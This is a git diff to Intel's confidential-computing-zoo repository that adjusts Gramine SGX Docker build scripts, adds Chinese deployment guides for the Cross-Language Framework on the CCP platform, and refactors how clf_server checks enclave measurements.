diff --git a/README.md b/README.md
index 83ca1266..bdc45a2e 100644
--- a/README.md
+++ b/README.md
@@ -248,7 +248,9 @@ document section that explains the corresponding details and then guides you to
(RA-gRPC)
Published
@@ -713,25 +715,25 @@ of them is proven useful enough and stable enough via a thorough validation with
CCZoo reference solutions running on various public cloud services, it will graduate
from CCZoo and evolve to a standalone project.
-
This project provides a proof-of-concept implementation on how to integrate Intel SGX and TDX remote attestation into the TLS connection setup. Conceptually, it extends the standard X.509 certificate with SGX and TDX related information. It also provides two non-SGX clients (Wolfssl and OpenSSL) to show how seamless remote attestation works with different TLS libraries.
@@ -740,12 +742,12 @@ from CCZoo and evolve to a standalone project.
Published
This project provides an enhanced gRPC (Remote Procedure Call) framework to guarantee security during transmission and runtime via two-way RA-TLS (Intel SGX Remote Attestation with Transport Layer Security) based on TEE (Trusted Execution Environment).
@@ -754,15 +756,28 @@ from CCZoo and evolve to a standalone project.
Published
+ HTTPA aims for two purposes. First, help perform remote attestation on the web application running inside the TEE in which the flow can be unilateral (one-way HTTPA) or bilateral (mutual HTTPA) by verifying attestation evidence with a verifier such as a trusted authority (TA). Second, help build secure communication directly with the web application at L7 running inside the TEE.
+
+
+ Published
+
+
+ /
-
---
# Cloud Deployment
@@ -896,7 +911,7 @@ Below table shows solutions and component projects validated in public clouds. A
diff --git a/cczoo/common/docker/gramine/README.md b/cczoo/common/docker/gramine/README.md
index 355796a7..7a939478 100644
--- a/cczoo/common/docker/gramine/README.md
+++ b/cczoo/common/docker/gramine/README.md
@@ -26,7 +26,8 @@ Execute the following command to build this docker image:
```
base_image=ubuntu:20.04
image_tag=gramine-sgx-dev:v1.2-ubuntu20.04-latest
-./build_docker_image.sh ${base_image} ${image_tag}
+build_type=release
+./build_docker_image.sh ${base_image} ${image_tag} ${build_type}
```
-`ubuntu:18.04` and `ubuntu:20.04` could be selected as base_image.
+`ubuntu:18.04`, `ubuntu:20.04` and `anolisos` could be selected as base_image.
diff --git a/cczoo/common/docker/gramine/build_docker_image.sh b/cczoo/common/docker/gramine/build_docker_image.sh
old mode 100644
new mode 100755
index c03b2996..7edc065f
--- a/cczoo/common/docker/gramine/build_docker_image.sh
+++ b/cczoo/common/docker/gramine/build_docker_image.sh
@@ -16,34 +16,55 @@
#!/bin/bash
set -e
-if [ "$1" == "anolisos" ] ; then
+function usage_help() {
+ echo -e "usage_help:"
+ echo -e ' ./build_docker_image.sh ${base_image} ${image_tag} ${build_type}'
+ echo -e " {base_image}"
+ echo -e " ubuntu:18.04 | ubuntu20.04 | anolisos"
+ echo -e " {image_tag}"
+ echo -e " customed image tag"
+ echo -e " {build_type}"
+ echo -e " release | debug"
+}
+
+usage_help
+
+if [ -n "$1" ] ; then
base_image=$1
else
base_image=ubuntu:20.04
-
fi
-if [ -n "$2" ] ; then
+if [ "$2" == "anolisos" ] ; then
+ image_tag=gramine-sgx-dev:v1.2-anolisos
+elif [ -n "$2" ] ; then
image_tag=$2
else
image_tag=gramine-sgx-dev:v1.2-ubuntu20.04-latest
fi
+if [ -n "$3" ] ; then
+ build_type=$3
+else
+ build_type=release
+fi
+
# You can remove no_proxy and proxy_server if your network doesn't need it
no_proxy="localhost,127.0.0.1"
-proxy_server="" # your http proxy server
+# proxy_server="" # your http proxy server
cd `dirname $0`
-if [ ${base_image} == "anolisos" ] ; then
+if [ "${base_image}" == "anolisos" ] ; then
DOCKER_BUILDKIT=0 docker build \
--build-arg no_proxy=${no_proxy} \
--build-arg http_proxy=${proxy_server} \
--build-arg https_proxy=${proxy_server} \
--build-arg base_image=${base_image} \
--build-arg BASE_IMAGE=${base_image} \
+ --build-arg BUILD_TYPE=${build_type} \
-f gramine-sgx-dev:v1.2-anolisos.dockerfile \
- -t gramine-sgx-dev:v1.2-anolisos \
+ -t ${image_tag} \
.
else
DOCKER_BUILDKIT=0 docker build \
@@ -52,8 +73,9 @@ DOCKER_BUILDKIT=0 docker build \
--build-arg https_proxy=${proxy_server} \
--build-arg base_image=${base_image} \
--build-arg BASE_IMAGE=${base_image} \
+ --build-arg BUILD_TYPE=${build_type} \
-f gramine-sgx-dev.dockerfile \
- -t gramine-sgx-dev:v1.2-ubuntu20.04-latest \
+ -t ${image_tag} \
.
fi
cd -
diff --git a/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile b/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile
index d6a07f51..9e7ef888 100644
--- a/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile
+++ b/cczoo/common/docker/gramine/gramine-sgx-dev.dockerfile
@@ -89,10 +89,11 @@ RUN git clone https://github.com/intel/SGXDataCenterAttestationPrimitives.git ${
# COPY gramine/patches ${GRAMINEDIR}
# RUN cd ${GRAMINEDIR} \
# && git apply *.diff
-
# RUN openssl genrsa -3 -out ${SGX_SIGNER_KEY} 3072
+
+ARG BUILD_TYPE=release
RUN cd ${GRAMINEDIR} \
- && LD_LIBRARY_PATH="" meson setup build/ --buildtype=debug -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \
+ && LD_LIBRARY_PATH="" meson setup build/ --buildtype=${BUILD_TYPE} -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \
&& LD_LIBRARY_PATH="" ninja -C build/ \
&& LD_LIBRARY_PATH="" ninja -C build/ install
@@ -122,14 +123,6 @@ RUN gramine-sgx-gen-private-key
COPY configs /
-RUN gramine-sgx-gen-private-key
-
-COPY configs /
-
-RUN gramine-sgx-gen-private-key
-
-COPY configs /
-
# Use it to ignore packages authenticate in apt-get
# ENV apt_arg="-o Acquire::AllowInsecureRepositories=true \
# -o Acquire::AllowDowngradeToInsecureRepositories=true"
diff --git a/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile b/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile
index f0b66909..cdefc7c4 100644
--- a/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile
+++ b/cczoo/common/docker/gramine/gramine-sgx-dev:v1.2-anolisos.dockerfile
@@ -34,7 +34,7 @@ RUN mkdir /opt/intel && cd /opt/intel \
&& sha256sum sgx_rpm_local_repo.tar.gz \
&& tar xvf sgx_rpm_local_repo.tar.gz \
&& yum-config-manager --add-repo file:///opt/intel/sgx_rpm_local_repo \
- && yum -y --nogpgcheck install libsgx-urts libsgx-launch libsgx-epid libsgx-quote-ex libsgx-dcap-ql libsgx-uae-service libsgx-dcap-quote-verify-devel
+ && yum -y --nogpgcheck install libsgx-urts libsgx-launch libsgx-epid libsgx-quote-ex libsgx-dcap-ql libsgx-uae-service libsgx-dcap-quote-verify-devel \
&& yum -y groupinstall 'Development Tools'
# COPY patches/libsgx_dcap_quoteverify.so /usr/lib64/
@@ -67,9 +67,9 @@ RUN git clone https://github.com/intel/SGXDataCenterAttestationPrimitives.git ${
&& cd ${ISGX_DRIVER_PATH} \
&& git checkout ${SGX_DCAP_VERSION}
-ENV LD_LIBRARY_PATH=${INSTALL_PREFIX}/lib:${INSTALL_PREFIX}/lib64:${LD_LIBRARY_PATH}
+ARG BUILD_TYPE=release
RUN cd ${GRAMINEDIR} \
- && LD_LIBRARY_PATH="" meson setup build/ --buildtype=debug -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \
+ && LD_LIBRARY_PATH="" meson setup build/ --buildtype=${BUILD_TYPE} -Dprefix=${INSTALL_PREFIX} -Ddirect=enabled -Dsgx=enabled -Ddcap=enabled -Dsgx_driver=dcap1.10 -Dsgx_driver_include_path=${ISGX_DRIVER_PATH}/driver/linux/include \
&& LD_LIBRARY_PATH="" ninja -C build/ \
&& LD_LIBRARY_PATH="" ninja -C build/ install
RUN gramine-sgx-gen-private-key
diff --git a/cczoo/cross_lang_framework/ccp/README_for_clf_client.md b/cczoo/cross_lang_framework/ccp/README_for_clf_client.md
new file mode 100644
index 00000000..1b995595
--- /dev/null
+++ b/cczoo/cross_lang_framework/ccp/README_for_clf_client.md
@@ -0,0 +1,57 @@
+# 在CCP平台上运行clf_client服务
+本文档是关于在CCP平台上构建CLF框架中的clf_server镜像并运行该镜像的说明文档,阐述了用户在CCP平台上运行clf_server镜像服务的过程.
+
+## CLF技术架构
+Cross language Framework（CLF），基于Gramine和Intel SGX技术，是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. 多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见. CLF框架主要由clf_server端和clf_client端两部分构成：
+- **clf_client端**，具备Intel SGX功能的可以提供可信执行环境的为clf_client端, clf_client端只有一个, 运行着多方机密计算的程序；
+- **clf_server端**，保存有机密数据的为clf_server端，供clf_client读写数据。每次读写数据都会先自动验证clf_client的合法性，即为SGX的可信执行环境（enclave），认证通过之后才会运行数据的读写。一套解决方案中可以同时存在多个clf_server端
+
+## 环境配置信息
+- Kernel: 版本5.11及以上.
+- 需安装Docker: 请参考 [引导](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script)来安装Docker服务.
+- 规格: 选择内存型中的M6ce机型，加密内存>=4G
+
+## 基于CCP部署CLF框架之客户端
+### 1. 准备工作
+在机器上,首先下载如下开源库:
+```
+git clone https://github.com/intel/confidential-computing-zoo.git
+```
+
+### 2. 创建clf_client镜像
+ ```
+ cd /confidential-computing-zoo/cczoo/cross_lang_framework/docker/
+ ./build_clf_client_docker_image.sh #生成clf_client sdk镜像
+ ./build_clf_client_app_docker_image.sh #生成sample app镜像，**实际应用中此处应该替换成用户实际的基于clf_client sdk开发的app**
+ ```
+
+### 3. 打包成CCP镜像
+ ```
+ ccp-cli pack --app-entry="/usr/bin/java"
+ --memsize=8192M --thread=64
+ --tmpl=clf_client
+ --secret-id=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ --secret-key=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
+ --capp-id=capp-ODdjZWZhOWYt
+ --app-image=clf-client:gramine1.3-ubuntu20.04
+ --app-type=image
+ --start=/clf/cczoo/cross_lang_framework/clf_client/app
+ ```
+ - `memsize`和`thread`可以根据用户APP实际需求自己定义
+ - `secret-key`，`secret-id`，`capp-id`根据用户在CCP平台上的账户和实例ID填写
+ - 其余参数保持默认即可
+
+ ### 4. 运行clf_client镜像
+ ```
+ docker run -ti --device /dev/sgx_enclave --device /dev/sgx_provision
+ -v :/app_repo/cczoo/cross_lang_framework/clf_client/app/certs/ca_cert.crt
+ --add-host=: sec_clf-client:gramine1.3-ubuntu20.04
+ -Xmx4G clf_test
+ ```
+ 这个指令的作用是将CCP平台上的clf-client镜像运行起来
+ - `--device`, CCP镜像依赖于intel的SGX, 需要将设备`/dev/sgx_enclave和/dev/sgx_provision`映射进container.
+ - `-v`，将根证书映射进container。此证书用于验证server证书的合法性。证书的生成可以参考使用tools/gen_cert.sh，将生成的ca_cert.crt映射进container.
+ - `--add-host`，为了让容器识别clf_server的主机名, 需要根据自己的需要将主机名和ip地址的匹配关系映射进container
+ - ` -Xmx4G clf_test ` app具体需要的参数, 用户需要根据自己的APP参数对这部分进行修改
+
+ CLF开发和配置细节请参考 [CLF文档](https://github.com/intel/confidential-computing-zoo/blob/main/cczoo/cross_lang_framework/README.md)
diff --git a/cczoo/cross_lang_framework/ccp/README_for_clf_server.md b/cczoo/cross_lang_framework/ccp/README_for_clf_server.md
new file mode 100644
index 00000000..f586e7e5
--- /dev/null
+++ b/cczoo/cross_lang_framework/ccp/README_for_clf_server.md
@@ -0,0 +1,55 @@
+# 在CCP平台上运行clf_server服务
+本文档是关于在CCP平台上构建CLF框架中的clf_server镜像并运行该镜像的说明文档,阐述了用户在CCP平台上运行clf_server镜像服务的过程.
+
+## CLF技术架构
+Cross language Framework（CLF），基于Gramine和Intel SGX技术，是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架. 多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见. CLF框架主要由clf_server端和clf_client端两部分构成：
+- **clf_client端**，具备Intel SGX功能的可以提供可信执行环境的为clf_client端, clf_client端只有一个, 运行着多方机密计算的程序；
+- **clf_server端**，保存有机密数据的为clf_server端，供clf_client读写数据。每次读写数据都会先自动验证clf_client的合法性，即为SGX的可信执行环境（enclave），认证通过之后才会运行数据的读写。一套解决方案中可以同时存在多个clf_server端
+
+## 环境配置信息
+- Kernel: 版本5.11及以上.
+- 需安装Docker: 请参考 [引导](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script)来安装Docker服务.
+- 规格: 选择内存型中的M6ce机型，加密内存>=4G
+
+## 基于CCP部署clf_server镜像
+### 1. 准备工作
+在机器上,首先下载如下开源库:
+```
+git clone https://github.com/intel/confidential-computing-zoo.git
+```
+
+### 2. 创建clf_server镜像
+ ```
+ cd /confidential-computing-zoo/cczoo/cross_lang_framework/docker/
+ ./build_clf_server_docker_image.sh
+ ```
+
+### 3. 打包成CCP镜像
+```
+ ccp-cli pack --app-entry="/clf/cczoo/cross_lang_framework/clf_server/clf_server"
+ --memsize=8192M --thread=64
+ --tmpl=default
+ --secret-id=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ --secret-key=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
+ --capp-id=capp-Y2IyNGM1YzAt
+ --app-image=clf-server:gramine1.3-ubuntu20.04
+ --app-type=image
+ --start=/clf/cczoo/cross_lang_framework/clf_server
+ ```
+参数`secret-key`，`secret-id`，`capp-id`替换成用户实际有效的值，参数`app-image`是用户之间创建的`clf-server`镜像的标签, 默认是`clf-server:gramine1.3-ubuntu20.04`，其他参数保持参考指令里的值即可。
+
+ ### 4. 运行clf_server镜像
+ ```
+ docker run -it -p 4433:4433 --device /dev/sgx_enclave --device /dev/sgx_provision
+ -v :/clf/cczoo/cross_lang_framework/clf_server/certs
+ -v :/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf
+ sec_clf-server:gramine1.3-ubuntu20.04
+ ```
+ 这个指令的作用是将打包好的clf-server的CCP镜像运行起来
+
+- `-p`端口号, 默认是4433端口
+- `--device`, CCP镜像依赖于intel的SGX, 需要将设备`/dev/sgx_enclave和/dev/sgx_provision`映射进container.
+- `-v`, 将证书文件夹映射进container：`/clf/cczoo/cross_lang_framework/clf_server/certs`， 证书的生成可以参考使用tools/gen_cert.sh，将生成的server_private_key.pem和server_signed_cert.crt映射进container。
+- `-v`, 将配置文件映射进container: `/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf`
+
+配置细节请参考 [CLF文档](https://github.com/intel/confidential-computing-zoo/blob/main/cczoo/cross_lang_framework/README.md)
diff --git a/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md
new file mode 100644
index 00000000..68e5bc28
--- /dev/null
+++ b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_client.md
@@ -0,0 +1,18 @@
+## 应用名称
+Cross-language Framework client
+## 应用版本
+1.0
+## 分类
+机密计算
+## 描述
+基于Gramine和Intel SGX技术，是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架.
+多个参与方各自拥有部分机密数据进行合作共同运算而不泄露数据给对方,做到数据可用不可见, 主要由clf_server端和clf_client端两部分构成
+clf_client端，具备Intel SGX功能的可以提供可信执行环境的,运行着多方机密计算的程序；
+## 参考链接
+https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/ccp
+## 官方网站
+https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/
+## 创建时间
+2022-10-27 14:06:28
+## 使用次数
+0
diff --git a/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md
new file mode 100644
index 00000000..3180d56f
--- /dev/null
+++ b/cczoo/cross_lang_framework/ccp/Tooltip_for_clf_server.md
@@ -0,0 +1,18 @@
+## 应用名称
+Cross-language Framework server
+## 应用版本
+1.0
+## 分类
+机密计算
+## 描述
+基于Gramine和Intel SGX技术，是提供不同机器之间的非C语言程序的远程认证和数据/密钥读写和传输服务的框架.
+可以在多个参与方各自拥有部分机密数据进行合作的场景下进行共同运算,做到数据可用不可见, 主要由clf_server端和clf_client端两部分构成
+clf_server端保存有机密数据，供clf_client读写
+## 参考链接
+https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework/ccp
+## 官方网站
+https://github.com/intel/confidential-computing-zoo/tree/main/cczoo/cross_lang_framework
+## 创建时间
+2022-10-27 14:06:28
+## 使用次数
+0
diff --git a/cczoo/cross_lang_framework/ccp/clf_server.toml b/cczoo/cross_lang_framework/ccp/clf_server.toml
new file mode 100644
index 00000000..b99740a9
--- /dev/null
+++ b/cczoo/cross_lang_framework/ccp/clf_server.toml
@@ -0,0 +1,33 @@
+# Basic template
+
+app.capi_target = "ccp.tencentcloudapi.com"
+app.kms_target = "kms.tencentcloudapi.com"
+
+loader.entrypoint = "file:{{ gramine.libos }}"
+loader.log_level = "error"
+
+loader.env.LD_LIBRARY_PATH = "/lib:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu"
+loader.env.PATH = "/usr/bin"
+
+loader.insecure__use_cmdline_argv = true
+
+fs.root.type = "chroot"
+fs.root.path = "/"
+fs.root.uri = "file:/"
+
+fs.mount.lib.type = "chroot"
+fs.mount.lib.path = "/lib"
+fs.mount.lib.uri = "file:{{ gramine.runtimedir() }}"
+
+sgx.nonpie_binary = true
+sgx.enclave_size = "256M"
+sgx.thread_num = 4
+sgx.remote_attestation = true
+
+sgx.trusted_files = [
+ "file:{{ gramine.runtimedir() }}/",
+]
+
+sgx.allowed_files = [
+ "file:/",
+]
diff --git a/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh b/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh
index e6a2a9da..ccda4fbe 100755
--- a/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh
+++ b/cczoo/cross_lang_framework/ccp/convert_clf_client_to_ccp_image.sh
@@ -21,19 +21,18 @@ GREEN="\033[32m"
YELLOW="\033[33m"
#below is fake secret, you need to replace with your valid ones
-echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/usr/bin/java\""
-echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64"
-echo -e " ${GREEN}--tmpl${COLORLESS}=clf_client"
-echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
-echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
-echo -e " ${GREEN}--capp-id${COLORLESS}=capp-ODdjZWZhOWYt"
-echo -e " ${GREEN}--app-image${COLORLESS}=clf-client:gramine1.3-ubuntu20.04"
-echo -e " ${GREEN}--app-type${COLORLESS}=image"
+echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/usr/bin/java\"\\"
+echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64\\"
+echo -e " ${GREEN}--tmpl${COLORLESS}=clf_client\\"
+echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\"
+echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk\\"
+echo -e " ${GREEN}--capp-id${COLORLESS}=capp-ODdjZWZhOWYt\\"
+echo -e " ${GREEN}--app-image${COLORLESS}=clf-client:gramine1.3-ubuntu20.04\\"
+echo -e " ${GREEN}--app-type${COLORLESS}=image\\"
echo -e " ${GREEN}--start${COLORLESS}=/clf/cczoo/cross_lang_framework/clf_client/app"
echo -e ""
# just an example about how to run
-echo -e "docker run -ti ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision"
-echo -e " ${GREEN}--add-host${COLORLESS}=VM-30-8-ubuntu:10.0.30.8 clf-client:gramine1.3-ubuntu20.04"
+echo -e "docker run -ti ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision\\"
+echo -e " ${GREEN}--add-host${COLORLESS}=VM-30-8-ubuntu:10.0.30.8 clf-client:gramine1.3-ubuntu20.04\\"
echo -e " -Xmx4G clf_test VM-30-8-ubuntu"
echo -e ""
-
diff --git a/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh b/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh
index 86d2822e..2f99c940 100755
--- a/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh
+++ b/cczoo/cross_lang_framework/ccp/convert_clf_server_to_ccp_image.sh
@@ -20,20 +20,19 @@ RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
#below is fake secret, you need to replace with your valid ones
-echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/clf/cczoo/cross_lang_framework/clf_server/clf_server\""
-echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64"
-echo -e " ${GREEN}--tmpl${COLORLESS}=default"
-echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
-echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk"
-echo -e " ${GREEN}--capp-id${COLORLESS}=capp-Y2IyNGM1YzAt"
-echo -e " ${GREEN}--app-image${COLORLESS}=clf-server:gramine1.3-ubuntu20.04"
-echo -e " ${GREEN}--app-type${COLORLESS}=image"
+echo -e "ccp-cli pack ${GREEN}--app-entry${COLORLESS}=\"/clf/cczoo/cross_lang_framework/clf_server/clf_server\"\\"
+echo -e " ${GREEN}--memsize${COLORLESS}=8192M ${GREEN}--thread${COLORLESS}=64\\"
+echo -e " ${GREEN}--tmpl${COLORLESS}=default\\"
+echo -e " ${GREEN}--secret-id${COLORLESS}=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\"
+echo -e " ${GREEN}--secret-key${COLORLESS}=kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk\\"
+echo -e " ${GREEN}--capp-id${COLORLESS}=capp-Y2IyNGM1YzAt\\"
+echo -e " ${GREEN}--app-image${COLORLESS}=clf-server:gramine1.3-ubuntu20.04\\"
+echo -e " ${GREEN}--app-type${COLORLESS}=image\\"
echo -e " ${GREEN}--start${COLORLESS}=/clf/cczoo/cross_lang_framework/clf_server"
echo -e ""
# just an example about how to run
-echo -e "docker run -it ${GREEN}-p${COLORLESS} 4433:4433 ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision"
-echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/certs:/clf/cczoo/cross_lang_framework/clf_server/certs"
-echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/clf_server.conf:/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf"
+echo -e "docker run -it ${GREEN}-p${COLORLESS} 4433:4433 ${GREEN}--device${COLORLESS} /dev/sgx_enclave ${GREEN}--device${COLORLESS} /dev/sgx_provision\\"
+echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/certs:/clf/cczoo/cross_lang_framework/clf_server/certs\\"
+echo -e " ${GREEN}--v${COLORLESS} /home/confidential-computing-zoo/cczoo/cross_lang_framework/clf_server/clf_server.conf:/clf/cczoo/cross_lang_framework/clf_server/clf_server.conf\\"
echo -e " ${GREEN}--add-host${COLORLESS}=VM-0-3-ubuntu:10.206.0.3 clf-server:gramine1.3-ubuntu20.04"
echo -e ""
-
diff --git a/cczoo/cross_lang_framework/clf_client/app/java.manifest.template b/cczoo/cross_lang_framework/clf_client/app/java.manifest.template
index 5d900d42..a94ef581 100644
--- a/cczoo/cross_lang_framework/clf_client/app/java.manifest.template
+++ b/cczoo/cross_lang_framework/clf_client/app/java.manifest.template
@@ -43,7 +43,6 @@ sgx.trusted_files = [
"file:GramineJni/gramine_jni.class",
"file:GramineJni/gramine_xx.class",
"file:/usr/lib/libgramine_jni.so",
- "file:certs/ca_cert.crt",
# "file:/home/ubuntu/readonly/",
]
@@ -56,6 +55,7 @@ sgx.allowed_files = [
"file:/etc/passwd",
"file:/etc/gai.conf",
"file:/etc/resolv.conf",
+ "file:certs/ca_cert.crt",
# "file:/home/ubuntu/plain",
]
diff --git a/cczoo/cross_lang_framework/clf_server/clf_server.c b/cczoo/cross_lang_framework/clf_server/clf_server.c
index 253ab263..3b2b7ff1 100644
--- a/cczoo/cross_lang_framework/clf_server/clf_server.c
+++ b/cczoo/cross_lang_framework/clf_server/clf_server.c
@@ -33,19 +33,12 @@
#include "clf_server.h"
#include "cmd_params.h"
-#define WRAP_KEY_SIZE 16
-#define MRSIGNER_LEN 32
-#define MRENCLAVE_LEN 32
log_level_t g_log_level = LOG_LEVEL_INFO;
static pthread_mutex_t g_print_lock;
char g_secret_pf_key_hex[WRAP_KEY_SIZE * 2 + 1] = {0};
-#define MR_LEN 32
-char g_mrenclave[MR_LEN] = {0};
-char g_mrsigner[MR_LEN] = {0};
-uint16_t g_isv_prod_id = 0;
-uint16_t g_isv_svn = 0;
+struct cmd_params params;
/* network port clf_server binding */
uint16_t g_port = 4433;
@@ -81,23 +74,23 @@ static int verify_measurements_callback(const char* mrenclave, const char* mrsig
pthread_mutex_unlock(&g_print_lock);
char null_mrenclave[MRENCLAVE_LEN] = {0};
char null_mrsigner[MRSIGNER_LEN] = {0};
- if(memcmp(g_mrenclave, null_mrenclave, MRENCLAVE_LEN)) {
- if(memcmp(g_mrenclave, mrenclave, MRENCLAVE_LEN)) {
+ if(memcmp(params.MREnclave, null_mrenclave, MRENCLAVE_LEN)) {
+ if(memcmp(params.MREnclave, mrenclave, MRENCLAVE_LEN)) {
printf("mrenclave mismatch\n");
return ret;
}
}
- if(memcmp(g_mrsigner, null_mrsigner, MRSIGNER_LEN)) {
- if(memcmp(g_mrsigner, mrsigner, MRSIGNER_LEN)) {
+ if(memcmp(params.MRSigner, null_mrsigner, MRSIGNER_LEN)) {
+ if(memcmp(params.MRSigner, mrsigner, MRSIGNER_LEN)) {
printf("mrsigner mismatch\n");
return ret;
}
}
- if(g_isv_prod_id!=0 && g_isv_prod_id!=*((uint16_t*)isv_prod_id)) {
+ if(params.isv_prod_id!=0 && params.isv_prod_id!=*((uint16_t*)isv_prod_id)) {
printf("isv_prod_id mismatch\n");
return ret;
}
- if(g_isv_svn!=0 && g_isv_svn!=*((uint16_t*)isv_svn)){
+ if(params.isv_svn!=0 && params.isv_svn!=*((uint16_t*)isv_svn)){
printf("isv_svn mismatch\n");
return ret;
}
@@ -110,7 +103,6 @@ int main(int argc, char** argv) {
if (ret < 0)
return ret;
- struct cmd_params params;
int status = 1;
status = cmd_params_process(argc, argv, ¶ms);
if (status != 0)
diff --git a/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh b/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh
new file mode 100755
index 00000000..99a862d0
--- /dev/null
+++ b/cczoo/cross_lang_framework/docker/build_clf_client_app_docker_image.sh
@@ -0,0 +1,47 @@
+#
+# Copyright (c) 2022 Intel Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+#!/bin/bash
+set -e
+
+if [ -n "$1" ] ; then
+ base_image=$1
+else
+ base_image=clf-client:gramine1.3-ubuntu20.04
+fi
+
+if [ -n "$2" ] ; then
+ image_tag=$2
+else
+ image_tag=clf-client-app:gramine1.3-ubuntu20.04
+fi
+
+# You can remove no_proxy and proxy_server if your network doesn't need it
+no_proxy="localhost,127.0.0.1"
+proxy_server="" # your http proxy server
+
+cd `dirname $0`
+
+DOCKER_BUILDKIT=0 docker build \
+ --build-arg no_proxy=${no_proxy} \
+ --build-arg http_proxy=${proxy_server} \
+ --build-arg https_proxy=${proxy_server} \
+ --build-arg base_image=${base_image} \
+ --build-arg BASE_IMAGE=${base_image} \
+ -f clf_client_app.dockerfile \
+ -t ${image_tag} \
+ ../..
+
+cd -
diff --git a/cczoo/cross_lang_framework/docker/clf_client.dockerfile b/cczoo/cross_lang_framework/docker/clf_client.dockerfile
index f68bd688..7fb48ed6 100644
--- a/cczoo/cross_lang_framework/docker/clf_client.dockerfile
+++ b/cczoo/cross_lang_framework/docker/clf_client.dockerfile
@@ -74,7 +74,7 @@ RUN apt-get update && apt-get install -y bison gawk nasm python3-click python3-j
libgmp-dev libmpfr-dev libmpc-dev libisl-dev
RUN pip3 install --upgrade pip \
- && pip3 install 'meson>=0.56' 'toml>=0.10' cryptography
